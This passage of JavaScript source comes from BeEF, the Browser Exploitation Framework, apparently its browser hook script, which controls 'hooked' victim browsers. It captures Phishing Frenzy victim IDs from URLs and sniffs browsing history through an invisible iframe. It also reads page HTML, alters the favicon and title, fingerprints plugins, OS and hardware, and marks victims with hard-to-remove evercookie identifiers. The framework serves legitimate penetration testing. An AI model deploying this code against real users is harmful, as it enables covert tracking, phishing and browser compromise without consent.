  6571. if (has_webrtc) details['HasWebRTC'] = has_webrtc;
  6572. if (has_activex) details['HasActiveX'] = has_activex;
  6573. if (has_quicktime) details['HasQuickTime'] = has_quicktime;
  6574. if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
  6575. if (has_wmp) details['HasWMP'] = has_wmp;
  6576.  
  6577. var pf_integration = "";
  6578. if (pf_integration) {
  6579. var pf_param = "uid";
  6580. var pf_victim_uid = "";
  6581. var location_search = window.location.search.substring(1);
  6582. var params = location_search.split('&');
  6583. for (var i = 0; i < params.length; i++) {
  6584. var param_entry = params[i].split('=');
  6585. if (param_entry[0] == pf_param) {
  6586. pf_victim_uid = param_entry[1];
  6587. details['PhishingFrenzyUID'] = pf_victim_uid;
  6588. break;
  6589. }
  6590. }
  6591. } else {
  6592. details['PhishingFrenzyUID'] = "N/A";
  6593. }
  6594.  
  6595. return details;
  6596. },
  6597.  
  6598. /**
  6599. * Returns boolean value depending on whether the browser supports ActiveX
  6600. */
  6601. hasActiveX: function () {
  6602. return !!window.ActiveXObject;
  6603. },
  6604.  
  6605. /**
  6606. * Returns boolean value depending on whether the browser supports WebRTC
  6607. */
  6608. hasWebRTC: function () {
  6609. return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  6610. },
  6611.  
  6612. /**
  6613. * Returns boolean value depending on whether the browser supports Silverlight
  6614. */
  6615. hasSilverlight: function () {
  6616. var result = false;
  6617.  
  6618. try {
  6619. if (beef.browser.isIE()) {
  6620. var slControl = new ActiveXObject('AgControl.AgControl');
  6621. result = true;
  6622. } else if (navigator.plugins["Silverlight Plug-In"]) {
  6623. result = true;
  6624. }
  6625. } catch (e) {
  6626. result = false;
  6627. }
  6628.  
  6629. return result;
  6630. },
  6631.  
  6632. /**
  6633. * Returns array of results, whether or not the target zombie has visited the specified URL
  6634. */
  6635. hasVisited: function (urls) {
  6636. var results = new Array();
  6637. var iframe = beef.dom.createInvisibleIframe();
  6638. var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  6639. ifdoc.open();
  6640. ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  6641. ifdoc.close();
  6642. urls = urls.split("\n");
  6643. var count = 0;
  6644. for (var i in urls) {
  6645. var u = urls[i];
  6646. if (u != "" || u != null) {
  6647. var success = false;
  6648. var a = ifdoc.createElement('a');
  6649. a.href = u;
  6650. ifdoc.body.appendChild(a);
  6651. var width = null;
  6652. (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
  6653. if (width == '0px') {
  6654. success = true;
  6655. }
  6656. results.push({'url': u, 'visited': success});
  6657. count++;
  6658. }
  6659. }
  6660. beef.dom.removeElement(iframe);
  6661. if (results.length == 0) {
  6662. return false;
  6663. }
  6664. return results;
  6665. },
  6666.  
  6667. /**
  6668. * Checks if the zombie has Web Sockets enabled.
  6669. * @return: {Boolean} true or false.
  6670. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  6671. * */
  6672. hasWebSocket: function () {
  6673. return !!window.WebSocket || !!window.MozWebSocket;
  6674. },
  6675.  
  6676. /**
  6677. * Checks if the zombie has Web Workers enabled.
  6678. * @return: {Boolean} true or false.
  6679. * */
  6680. hasWebWorker: function () {
  6681. return (typeof(Worker) !== "undefined");
  6682. },
  6683.  
  6684. /**
  6685. * Checks if the zombie has WebGL enabled.
  6686. * @return: {Boolean} true or false.
  6687. *
  6688. * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
  6689. * */
  6690. hasWebGL: function () {
  6691. try {
  6692. var canvas = document.createElement("canvas");
  6693. var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  6694. return !!(gl && gl instanceof WebGLRenderingContext);
  6695. } catch(e) {
  6696. return false;
  6697. }
  6698. },
  6699.  
  6700. /**
  6701. * Checks if the zombie has Google Gears installed.
  6702. * @return: {Boolean} true or false.
  6703. *
  6704. * @from: https://code.google.com/apis/gears/gears_init.js
  6705. * */
  6706. hasGoogleGears: function () {
  6707.  
  6708. var ggfactory = null;
  6709.  
  6710. // Chrome
  6711. if (window.google && google.gears) return true;
  6712.  
  6713. // Firefox
  6714. if (typeof GearsFactory != 'undefined') {
  6715. ggfactory = new GearsFactory();
  6716. } else {
  6717. // IE
  6718. try {
  6719. ggfactory = new ActiveXObject('Gears.Factory');
  6720. // IE Mobile on WinCE.
  6721. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  6722. ggfactory.privateSetGlobalObject(this);
  6723. }
  6724. } catch (e) {
  6725. // Safari
  6726. if ((typeof navigator.mimeTypes != 'undefined')
  6727. && navigator.mimeTypes["application/x-googlegears"]) {
  6728. ggfactory = document.createElement("object");
  6729. ggfactory.style.display = "none";
  6730. ggfactory.width = 0;
  6731. ggfactory.height = 0;
  6732. ggfactory.type = "application/x-googlegears";
  6733. document.documentElement.appendChild(ggfactory);
  6734. if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  6735. }
  6736. }
  6737. }
  6738. if (!ggfactory) return false; else return true;
  6739. },
  6740.  
  6741. /**
  6742. * Checks if the zombie has Foxit PDF reader plugin.
  6743. * @return: {Boolean} true or false.
  6744. *
  6745. * @example: if(beef.browser.hasFoxit()) { ... }
  6746. * */
  6747. hasFoxit: function () {
  6748.  
  6749. var foxitplugin = false;
  6750.  
  6751. try {
  6752. if (beef.browser.isIE()) {
  6753. var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  6754. foxitplugin = true;
  6755. } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  6756. foxitplugin = true;
  6757. }
  6758. } catch (e) {
  6759. foxitplugin = false;
  6760. }
  6761.  
  6762. return foxitplugin;
  6763. },
  6764.  
  6765. /**
  6766. * Returns the page head HTML
  6767. **/
  6768. getPageHead: function () {
  6769. var html_head;
  6770. try {
  6771. html_head = document.head.innerHTML.toString();
  6772. } catch (e) {
  6773. }
  6774. return html_head;
  6775. },
  6776.  
  6777. /**
  6778. * Returns the page body HTML
  6779. **/
  6780. getPageBody: function () {
  6781. var html_body;
  6782. try {
  6783. html_body = document.body.innerHTML.toString();
  6784. } catch (e) {
  6785. }
  6786. return html_body;
  6787. },
  6788.  
  6789. /**
  6790. * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  6791. **/
  6792. changeFavicon: function (favicon_url) {
  6793. var iframe = null;
  6794. if (this.isC()) {
  6795. iframe = document.createElement('iframe');
  6796. iframe.src = 'about:blank';
  6797. iframe.style.display = 'none';
  6798. document.body.appendChild(iframe);
  6799. }
  6800. var link = document.createElement('link'),
  6801. oldLink = document.getElementById('dynamic-favicon');
  6802. link.id = 'dynamic-favicon';
  6803. link.rel = 'shortcut icon';
  6804. link.href = favicon_url;
  6805. if (oldLink) document.head.removeChild(oldLink);
  6806. document.head.appendChild(link);
  6807. if (this.isC()) iframe.src += '';
  6808. },
  6809.  
  6810. /**
  6811. * Changes page title
  6812. **/
  6813. changePageTitle: function (title) {
  6814. document.title = title;
  6815. },
  6816.  
  6817. /**
  6818. * Get the browser language
  6819. */
  6820. getBrowserLanguage: function () {
  6821. var l = 'Unknown';
  6822. try {
  6823. l = window.navigator.userLanguage || window.navigator.language;
  6824. } catch (e) {
  6825. }
  6826. return l;
  6827. },
  6828.  
  6829. /**
  6830. * A function that gets the max number of simultaneous connections the
  6831. * browser can make per origin, or globally on all origin.
  6832. *
  6833. * This code is based on research from browserspy.dk
  6834. *
  6835. * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  6836. * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
  6837. * the number of connections to the callback function as "this"
  6838. *
  6839. * example usage:
  6840. * $j.when(getMaxConnections()).done(function(){
  6841. * console.debug("Max Connections: " + this);
  6842. * });
  6843. *
  6844. */
  6845. getMaxConnections: function (scope) {
  6846.  
  6847. var imagesCount = 30; // Max number of images to test
  6848. var secondsTimeout = 5; // Image load timeout threashold
  6849. var testUrl = ""; // The image testing service URL
  6850.  
  6851. // User broserspy.dk max connections service URL.
  6852. if (scope == 'PER_DOMAIN')
  6853. testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  6854. else
  6855. // The token will be replaced by a different number with each request (different origin).
  6856. testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  6857.  
  6858. var imagesLoaded = 0; // Number of responding images before timeout.
  6859. var imagesRequested = 0; // Number of requested images.
  6860. var testImages = new Array(); // Array of all images.
  6861. var deferredObject = $j.Deferred(); // A jquery Deferred object.
  6862.  
  6863. for (var i = 1; i <= imagesCount; i++) {
  6864. // Asynchronously request image.
  6865. testImages[i] =
  6866. $j.ajax({
  6867. type: "get",
  6868. dataType: true,
  6869. url: (testUrl.replace("<token>", i)) + Math.random(),
  6870. data: "",
  6871. timeout: (secondsTimeout * 1000),
  6872.  
  6873. // Function on completion of request.
  6874. complete: function (jqXHR, textStatus) {
  6875.  
  6876. imagesRequested++;
  6877.  
  6878. // If the image returns a 200 or a 302, the text Status is "error", else null
  6879. if (textStatus == "error") {
  6880. imagesLoaded++;
  6881. }
  6882.  
  6883. // If all images requested
  6884. if (imagesRequested >= imagesCount) {
  6885. // resolve the deferred object passing the number of loaded images.
  6886. deferredObject.resolveWith(imagesLoaded);
  6887. }
  6888. }
  6889. });
  6890.  
  6891. }
  6892.  
  6893. // Return a promise to resolve the deffered object when the images are loaded.
  6894. return deferredObject.promise();
  6895.  
  6896. }
  6897.  
  6898. };
  6899.  
  6900. beef.regCmp('beef.browser');
  6901.  
  6902.  
  6903. //
  6904. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  6905. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6906. // See the file 'doc/COPYING' for copying permission
  6907. //
  6908.  
  6909. /*!
  6910. * @literal object: beef.browser.cookie
  6911. *
  6912. * Provides fuctions for working with cookies.
  6913. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  6914. * Original author unknown.
  6915. *
  6916. */
  6917. beef.browser.cookie = {
  6918.  
  6919. setCookie: function (name, value, expires, path, domain, secure)
  6920. {
  6921.  
  6922. var today = new Date();
  6923. today.setTime( today.getTime() );
  6924.  
  6925. if ( expires )
  6926. {
  6927. expires = expires * 1000 * 60 * 60 * 24;
  6928. }
  6929. var expires_date = new Date( today.getTime() + (expires) );
  6930.  
  6931. document.cookie = name + "=" +escape( value ) +
  6932. ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  6933. ( ( path ) ? ";path=" + path : "" ) +
  6934. ( ( domain ) ? ";domain=" + domain : "" ) +
  6935. ( ( secure ) ? ";secure" : "" );
  6936. },
  6937.  
  6938. getCookie: function(name)
  6939. {
  6940. var a_all_cookies = document.cookie.split( ';' );
  6941. var a_temp_cookie = '';
  6942. var cookie_name = '';
  6943. var cookie_value = '';
  6944. var b_cookie_found = false;
  6945.  
  6946. for ( i = 0; i < a_all_cookies.length; i++ )
  6947. {
  6948. a_temp_cookie = a_all_cookies[i].split( '=' );
  6949. cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  6950. if ( cookie_name == name )
  6951. {
  6952. b_cookie_found = true;
  6953. if ( a_temp_cookie.length > 1 )
  6954. {
  6955. cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
  6956. }
  6957. return cookie_value;
  6958. break;
  6959. }
  6960. a_temp_cookie = null;
  6961. cookie_name = '';
  6962. }
  6963. if ( !b_cookie_found )
  6964. {
  6965. return null;
  6966. }
  6967. },
  6968.  
  6969. deleteCookie: function (name, path, domain)
  6970. {
  6971. if ( this.getCookie(name) ) document.cookie = name + "=" +
  6972. ( ( path ) ? ";path=" + path : "") +
  6973. ( ( domain ) ? ";domain=" + domain : "" ) +
  6974. ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  6975. },
  6976.  
  6977. /* Never stop the madness dear C. */
  6978. veganLol: function (){
  6979. var to_hell= '';
  6980. var min = 17;
  6981. var max = 25;
  6982. var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  6983.  
  6984. var grunt = function(){
  6985. var moo = Math.floor(Math.random() * 62);
  6986. var char = '';
  6987. if(moo < 36){
  6988. char = String.fromCharCode(moo + 55);
  6989. }else{
  6990. char = String.fromCharCode(moo + 61);
  6991. }
  6992. if(char != ';' && char != '='){
  6993. return char;
  6994. }else{
  6995. return 'x';
  6996. }
  6997. };
  6998.  
  6999. while(to_hell.length < lol_length){
  7000. to_hell += grunt();
  7001. }
  7002. return to_hell;
  7003. },
  7004.  
  7005. hasSessionCookies: function (name){
  7006. this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
  7007.  
  7008. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  7009. this.deleteCookie(name, '/', '');
  7010. return cookiesEnabled;
  7011.  
  7012. },
  7013.  
  7014. hasPersistentCookies: function (name){
  7015. this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
  7016.  
  7017. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  7018. this.deleteCookie(name, '/', '');
  7019. return cookiesEnabled;
  7020.  
  7021. }
  7022.  
  7023. };
  7024.  
  7025. beef.regCmp('beef.browser.cookie');
  7026.  
  7027. //
  7028. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  7029. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7030. // See the file 'doc/COPYING' for copying permission
  7031. //
  7032.  
  7033. /*!
  7034. * @literal object: beef.browser.popup
  7035. *
  7036. * Provides fuctions for working with cookies.
  7037. * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  7038. * Original author unknown.
  7039. *
  7040. */
  7041. beef.browser.popup = {
  7042.  
  7043. blocker_enabled: function ()
  7044. {
  7045. screenParams = beef.browser.getScreenSize();
  7046. var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  7047. if (popUp == null || typeof(popUp)=='undefined') {
  7048. return true;
  7049. } else {
  7050. popUp.close();
  7051. return false;
  7052. }
  7053. }
  7054. };
  7055.  
  7056. beef.regCmp('beef.browser.popup');
  7057.  
  7058.  
  7059. //
  7060. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  7061. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7062. // See the file 'doc/COPYING' for copying permission
  7063. //
  7064.  
  7065. /*!
  7066. * @literal object: beef.session
  7067. *
  7068. * Provides basic session functions.
  7069. */
  7070. beef.session = {
  7071.  
  7072. hook_session_id_length: 80,
  7073. hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  7074. ec: new evercookie(),
  7075. beefhook: "BEEFHOOK",
  7076.  
  7077. /**
  7078. * Gets a string which will be used to identify the hooked browser session
  7079. *
  7080. * @example: var hook_session_id = beef.session.get_hook_session_id();
  7081. */
  7082. get_hook_session_id: function() {
  7083. // check if the browser is already known to the framework
  7084. var id = this.ec.evercookie_cookie(beef.session.beefhook);
  7085. if (typeof id == 'undefined') {
  7086. var id = this.ec.evercookie_userdata(beef.session.beefhook);
  7087. }
  7088. if (typeof id == 'undefined') {
  7089. var id = this.ec.evercookie_window(beef.session.beefhook);
  7090. }
  7091.  
  7092. // if the browser is not known create a hook session id and set it
  7093. if ((typeof id == 'undefined') || (id == null)) {
  7094. id = this.gen_hook_session_id();
  7095. this.set_hook_session_id(id);
  7096. }
  7097.  
  7098. // return the hooked browser session identifier
  7099. return id;
  7100. },
  7101.  
  7102. /**
  7103. * Sets a string which will be used to identify the hooked browser session
  7104. *
  7105. * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  7106. */
  7107. set_hook_session_id: function(id) {
  7108. // persist the hook session id
  7109. this.ec.evercookie_cookie(beef.session.beefhook, id);
  7110. this.ec.evercookie_userdata(beef.session.beefhook, id);
  7111. this.ec.evercookie_window(beef.session.beefhook, id);
  7112. },
  7113.  
  7114. /**
  7115. * Generates a random string using the chars in hook_session_id_chars.
  7116. *
  7117. * @example: beef.session.gen_hook_session_id();
  7118. */
  7119. gen_hook_session_id: function() {
  7120. // init the return value
  7121. var hook_session_id = "";
  7122.  
  7123. // construct the random string
  7124. for(var i=0; i<this.hook_session_id_length; i++) {
  7125. var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  7126. hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  7127. }
  7128.  
  7129. return hook_session_id;
  7130. }
  7131. };
  7132.  
  7133. beef.regCmp('beef.session');
  7134.  
  7135.  
  7136. //
  7137. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  7138. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7139. // See the file 'doc/COPYING' for copying permission
  7140. //
  7141.  
  7142. beef.os = {
  7143.  
  7144. ua: navigator.userAgent,
  7145.  
  7146. /**
  7147. * Detect default browser (IE only)
  7148. * Written by unsticky
  7149. * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  7150. */
  7151. getDefaultBrowser: function() {
  7152. var result = "Unknown"
  7153. try {
  7154. var mt = document.mimeType;
  7155. if (mt) {
  7156. if (mt == "Safari Document") result = "Safari";
  7157. if (mt == "Firefox HTML Document") result = "Firefox";
  7158. if (mt == "Chrome HTML Document") result = "Chrome";
  7159. if (mt == "HTML Document") result = "Internet Explorer";
  7160. if (mt == "Opera Web Document") result = "Opera";
  7161. }
  7162. } catch (e) {
  7163. beef.debug("[os] getDefaultBrowser: "+e.message);
  7164. }
  7165. return result;
  7166. },
  7167.  
  7168. // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  7169. isWin311: function() {
  7170. return (this.ua.match('(Win16)')) ? true : false;
  7171. },
  7172.  
  7173. isWinNT4: function() {
  7174. return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  7175. },
  7176.  
  7177. isWin95: function() {
  7178. return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  7179. },
  7180. isWinCE: function() {
  7181. return (this.ua.match('(Windows CE)')) ? true : false;
  7182. },
  7183.  
  7184. isWin98: function() {
  7185. return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  7186. },
  7187.  
  7188. isWinME: function() {
  7189. return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  7190. },
  7191.  
  7192. isWin2000: function() {
  7193. return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  7194. },
  7195.  
  7196. isWin2000SP1: function() {
  7197. return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  7198. },
  7199.  
  7200. isWinXP: function() {
  7201. return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  7202. },
  7203.  
  7204. isWinServer2003: function() {
  7205. return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  7206. },
  7207.  
  7208. isWinVista: function() {
  7209. return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  7210. },
  7211.  
  7212. isWin7: function() {
  7213. return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  7214. },
  7215.  
  7216. isWin8: function() {
  7217. return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  7218. },
  7219.  
  7220. isWin81: function() {
  7221. return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  7222. },
  7223.  
  7224. isWin10: function() {
  7225. return (this.ua.match('Windows NT 10.0')) ? true : false;
  7226. },
  7227.  
  7228. isOpenBSD: function() {
  7229. return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  7230. },
  7231.  
  7232. isSunOS: function() {
  7233. return (this.ua.indexOf('SunOS') != -1) ? true : false;
  7234. },
  7235.  
  7236. isLinux: function() {
  7237. return (this.ua.match('(Linux)|(X11)')) ? true : false;
  7238. },
  7239.  
  7240. isMacintosh: function() {
  7241. return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  7242. },
  7243.  
  7244. isOsxYosemite: function(){ // TODO
  7245. return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  7246. },
  7247. isOsxMavericks: function(){ // TODO
  7248. return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  7249. },
  7250. isOsxSnowLeopard: function(){ // TODO
  7251. return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  7252. },
  7253. isOsxLeopard: function(){ // TODO
  7254. return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  7255. },
  7256.  
  7257. isWinPhone: function() {
  7258. return (this.ua.match('(Windows Phone)')) ? true : false;
  7259. },
  7260.  
  7261. isIphone: function() {
  7262. return (this.ua.indexOf('iPhone') != -1) ? true : false;
  7263. },
  7264.  
  7265. isIpad: function() {
  7266. return (this.ua.indexOf('iPad') != -1) ? true : false;
  7267. },
  7268.  
  7269. isIpod: function() {
  7270. return (this.ua.indexOf('iPod') != -1) ? true : false;
  7271. },
  7272.  
  7273. isNokia: function() {
  7274. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  7275. },
  7276.  
  7277. isAndroid: function() {
  7278. return (this.ua.match('Android')) ? true : false;
  7279. },
  7280.  
  7281. isBlackBerry: function() {
  7282. return (this.ua.match('BlackBerry')) ? true : false;
  7283. },
  7284.  
  7285. isWebOS: function() {
  7286. return (this.ua.match('webOS')) ? true : false;
  7287. },
  7288.  
  7289. isQNX: function() {
  7290. return (this.ua.match('QNX')) ? true : false;
  7291. },
  7292.  
  7293. isBeOS: function() {
  7294. return (this.ua.match('BeOS')) ? true : false;
  7295. },
  7296.  
  7297. isAros: function() {
  7298. return (this.ua.match('AROS')) ? true : false;
  7299. },
  7300.  
  7301. isWindows: function() {
  7302. return (this.ua.match('Windows')) ? true : false;
  7303. },
  7304.  
  7305. getName: function() {
  7306.  
  7307. if(this.isWindows()){
  7308. return 'Windows';
  7309. }
  7310.  
  7311. if(this.isMacintosh()) {
  7312. return 'OSX';
  7313. }
  7314.  
  7315. //Nokia
  7316. if(this.isNokia()) {
  7317. if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  7318. if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  7319. if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  7320. }
  7321.  
  7322. // BlackBerry
  7323. if(this.isBlackBerry()) return 'BlackBerry OS';
  7324.  
  7325. // Android
  7326. if(this.isAndroid()) return 'Android';
  7327.  
  7328. // SunOS
  7329. if(this.isSunOS()) return 'SunOS';
  7330.  
  7331. //Linux
  7332. if(this.isLinux()) return 'Linux';
  7333.  
  7334. //iPhone
  7335. if (this.isIphone()) return 'iOS';
  7336. //iPad
  7337. if (this.isIpad()) return 'iOS';
  7338. //iPod
  7339. if (this.isIpod()) return 'iOS';
  7340.  
  7341. //others
  7342. if(this.isQNX()) return 'QNX';
  7343. if(this.isBeOS()) return 'BeOS';
  7344. if(this.isWebOS()) return 'webOS';
  7345. if(this.isAros()) return 'AROS';
  7346.  
  7347. return 'unknown';
  7348. },
  7349.  
  7350. getVersion: function(){
  7351. //Windows
  7352. if(this.isWindows()) {
  7353. if (this.isWin10()) return '10';
  7354. if (this.isWin81()) return '8.1';
  7355. if (this.isWin8()) return '8';
  7356. if (this.isWin7()) return '7';
  7357. if (this.isWinVista()) return 'Vista';
  7358. if (this.isWinXP()) return 'XP';
  7359. if (this.isWinServer2003()) return 'Server 2003';
  7360. if (this.isWin2000SP1()) return '2000 SP1';
  7361. if (this.isWin2000()) return '2000';
  7362. if (this.isWinME()) return 'Millenium';
  7363.  
  7364. if (this.isWinNT4()) return 'NT 4';
  7365. if (this.isWinCE()) return 'CE';
  7366. if (this.isWin95()) return '95';
  7367. if (this.isWin98()) return '98';
  7368. }
  7369.  
  7370. // OS X
  7371. if(this.isMacintosh()) {
  7372. if (this.isOsxYosemite()) return '10.10';
  7373. if (this.isOsxMavericks()) return '10.9';
  7374. if (this.isOsxSnowLeopard()) return '10.8';
  7375. if (this.isOsxLeopard()) return '10.7';
  7376. }
  7377.  
  7378. // TODO add Android/iOS version detection
  7379. }
  7380. };
  7381.  
  7382. beef.regCmp('beef.net.os');
  7383.  
  7384.  
  7385. //
  7386. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  7387. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7388. // See the file 'doc/COPYING' for copying permission
  7389. //
  7390.  
  7391. beef.hardware = {
  7392.  
  7393. ua: navigator.userAgent,
  7394.  
  7395. /*
  7396. * @return: {String} CPU type
  7397. **/
  7398. cpuType: function() {
  7399. var arch = 'UNKNOWN';
  7400. // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  7401. // in detecting the OS arch rather than the browser build
  7402. if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  7403. arch = 'x86_64';
  7404. }else if(typeof navigator.cpuClass != 'undefined'){
  7405. switch (navigator.cpuClass) {
  7406. case '68K':
  7407. arch = 'Motorola 68K';
  7408. break;
  7409. case 'PPC':
  7410. arch = 'Motorola PPC';
  7411. break;
  7412. case 'Digital':
  7413. arch = 'Alpha';
  7414. break;
  7415. default:
  7416. arch = 'x86';
  7417. }
  7418. }
  7419. // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  7420. // For example, if OSX is at least 10.7, most certainly is 64 bit.
  7421. return arch;
  7422. },
  7423.  
  7424. /*
  7425. * @return: {Boolean} true or false.
  7426. **/
  7427. isTouchEnabled: function() {
  7428. if ('ontouchstart' in document) return true;
  7429. return false;
  7430. },
  7431.  
  7432. /*
  7433. * @return: {Boolean} true or false.
  7434. **/
  7435. isVirtualMachine: function() {
  7436. if (this.isMobileDevice()) return false;
  7437. if (screen.width % 2 || screen.height % 2) return true;
  7438. return false;
  7439. },
  7440.  
  7441. /*
  7442. * @return: {Boolean} true or false.
  7443. **/
  7444. isLaptop: function() {
  7445. if (this.isMobileDevice()) return false;
  7446. // Most common laptop screen resolution
  7447. if (screen.width == 1366 && screen.height == 768) return true;
  7448. // Netbooks
  7449. if (screen.width == 1024 && screen.height == 600) return true;
  7450. return false;
  7451. },
  7452.  
  7453. /*
  7454. * @return: {Boolean} true or false.
  7455. **/
  7456. isNokia: function() {
  7457. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
  7458. },
  7459.  
  7460. /*
  7461. * @return: {Boolean} true or false.
  7462. **/
  7463. isZune: function() {
  7464. return (this.ua.match('ZuneWP7')) ? true : false;
  7465. },
  7466.  
  7467. /*
  7468. * @return: {Boolean} true or false.
  7469. **/
  7470. isHtc: function() {
  7471. return (this.ua.match('HTC')) ? true : false;
  7472. },
  7473.  
  7474. /*
  7475. * @return: {Boolean} true or false.
  7476. **/
  7477. isEricsson: function() {
  7478. return (this.ua.match('Ericsson')) ? true : false;
  7479. },
  7480.  
  7481. /*
  7482. * @return: {Boolean} true or false.
  7483. **/
  7484. isMotorola: function() {
  7485. return (this.ua.match('Motorola')) ? true : false;
  7486. },
  7487.  
  7488. /*
  7489. * @return: {Boolean} true or false.
  7490. **/
  7491. isGoogle: function() {
  7492. return (this.ua.match('Nexus One')) ? true : false;
  7493. },
  7494.  
  7495. /**
  7496. * Returns true if the browser is on a Mobile device
  7497. * @return: {Boolean} true or false
  7498. *
  7499. * @example: if(beef.hardware.isMobileDevice()) { ... }
  7500. **/
  7501. isMobileDevice: function() {
  7502. return MobileEsp.DetectMobileQuick();
  7503. },
  7504.  
  7505. /**
  7506. * Returns true if the browser is on a game console
  7507. * @return: {Boolean} true or false
  7508. *
  7509. * @example: if(beef.hardware.isGameConsole()) { ... }
  7510. **/
  7511. isGameConsole: function() {
  7512. return MobileEsp.DetectGameConsole();
  7513. },
  7514.  
  7515. getName: function() {
  7516. var ua = navigator.userAgent.toLowerCase();
  7517. if(MobileEsp.DetectIphone()) { return "iPhone"};
  7518. if(MobileEsp.DetectIpod()) { return "iPod Touch"};
  7519. if(MobileEsp.DetectIpad()) { return "iPad"};
  7520. if (this.isHtc()) { return 'HTC'};
  7521. if (this.isMotorola()) { return 'Motorola'};
  7522. if (this.isZune()) { return 'Zune'};
  7523. if (this.isGoogle()) { return 'Google Nexus One'};
  7524. if (this.isEricsson()) { return 'Ericsson'};
  7525. if(MobileEsp.DetectAndroidPhone()) { return "Android Phone"};
  7526. if(MobileEsp.DetectAndroidTablet()) { return "Android Tablet"};
  7527. if(MobileEsp.DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
  7528. if(ua.search(MobileEsp.deviceS60) > -1) { return "Nokia S60"};
  7529. if(ua.search(MobileEsp.deviceS70) > -1) { return "Nokia S70"};
  7530. if(ua.search(MobileEsp.deviceS80) > -1) { return "Nokia S80"};
  7531. if(ua.search(MobileEsp.deviceS90) > -1) { return "Nokia S90"};
  7532. if(ua.search(MobileEsp.deviceSymbian) > -1) { return "Nokia Symbian"};
  7533. if (this.isNokia()) { return 'Nokia'};
  7534. if(MobileEsp.DetectWindowsPhone7()) { return "Windows Phone 7"};
  7535. if(MobileEsp.DetectWindowsPhone8()) { return "Windows Phone 8"};
  7536. if(MobileEsp.DetectWindowsPhone10()) { return "Windows Phone 10"};
  7537. if(MobileEsp.DetectWindowsMobile()) { return "Windows Mobile"};
  7538. if(MobileEsp.DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
  7539. if(MobileEsp.DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
  7540. if(MobileEsp.DetectBlackBerryTouch()) { return "BlackBerry Touch"};
